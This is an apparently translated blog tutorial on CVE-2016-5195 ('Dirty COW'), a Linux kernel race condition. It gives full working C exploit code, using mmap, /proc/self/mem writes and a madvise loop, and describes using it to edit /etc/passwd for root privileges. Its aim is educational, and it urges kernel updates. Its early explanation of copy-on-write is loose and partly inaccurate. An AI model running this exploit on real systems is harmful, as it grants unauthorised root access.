
Because the kernel runs under root privileges, it can be exploited as a privilege escalation vulnerability. This means that an attacker can take advantage of a Race condition to gain root access by exploiting it from a low-privileged user.
As I just learned in the operating systems theory course, a Race condition occurs when two or more processes access the same resource and perform operations on it without proper synchronization. In such cases, the outcome of these operations may be incorrect or unexpected.
To make it easier to understand, let's look at a simple example:
a = "h1n4m"; # we assign a string to a
b = a; # then assign b = a
Here, although we have two variables, both point to the same memory object. This is an operating system mechanism because it is unnecessary to double the memory capacity for identical values. The OS will wait until a copy is modified, at which point it will allocate separate memory for the other variable.
b += "dep trai vcl" # modify the value of b, specifically appending a string
At this point, the OS performs the following steps:
The condition occurs between steps 2 and 4, tricking the memory mapping into writing the modified content into the original memory space instead of the newly allocated one. This causes us to modify the memory belonging to a, i.e., the original object, even though we only have read-only privileges on a.
Now for the main part: what is the idea behind the exploit? As we know, a user's privileges are defined in the /etc/passwd file, and only root can modify this file. So can we exploit the Race condition to change the content of /etc/passwd from a user who only has read permission?
The answer is yes. First, let's analyze the exploit code applied to a simpler example:

First, we create a file dirtycow with permissions 644 (only root can write). We see that when we try to write "Hello" to the file, we get Permission denied.
So the target object is ready. Now for the exploit code:
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
This exploit consists of three threads: the main thread, the writeThread, and the madvise thread.
The main thread maps our file into memory:
// First we open our file (note that it is opened in read-only mode)
int f=open("dirtycow", O_RDONLY);
// Then we map it into COW memory using MAP_PRIVATE
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
Find the location of the pattern to replace:
// Use strstr to find the position of "h1n4m" in the mapped memory
char *position = strstr(map,"h1n4m");
Then we start two threads, writeThread and madviseThread.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the pointer to exactly the position to change
lseek(f, offset, SEEK_SET);
// Change in memory
write(f, content, strlen(content));
}
}
This thread's job is to replace the string h1n4m with h4ck3r (or anything you want :> dangerous, right?), but because the memory map is copy-on-write, this thread can only modify the content on the copy of the mapped memory and does not cause any change to the file??
So what is the danger? Let's look at the other thread.
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
This thread does only one thing: it discards the copy of the mapped memory, so the pointer may revert to the original mapped memory or the initially mapped memory.
If these two threads execute sequentially (non-multithreaded), the changes always affect only the copy of the mapped memory and pose no danger to our privileged file. But if these two threads are called simultaneously by the system (multithreading), what happens? Exactly, a Race condition. At some point, the system gets confused and points the pointer back to the original mapped memory, modifying data in the root-owned file even though we have no write permission. But the OS does not always make such a mistake, so we run the two threads in an infinite loop. As soon as the system makes one mistake, everything goes according to our plan.
Back to the main issue: the /etc/passwd file is a file that only root can modify. We need to apply the above knowledge to change the group of a low-privileged user in the /etc/passwd file.
As a low-privileged user, we do not have write permission to the dirtycow file.
The low user has been promoted to the same group as root (1001 -> 0000)Through this analysis, I have introduced you to CVE-2016-5195, known as "Dirty Cow". Besides modifying groups, we can also add an entirely new user to the system; the method remains the same. Although this CVE was discovered a long time ago, many systems still using old kernels remain vulnerable. I hope this article gives you a general understanding of the CVE and how to protect your own systems. (Update your kernel!!!!)
I am h1n4m. Peaceeeee.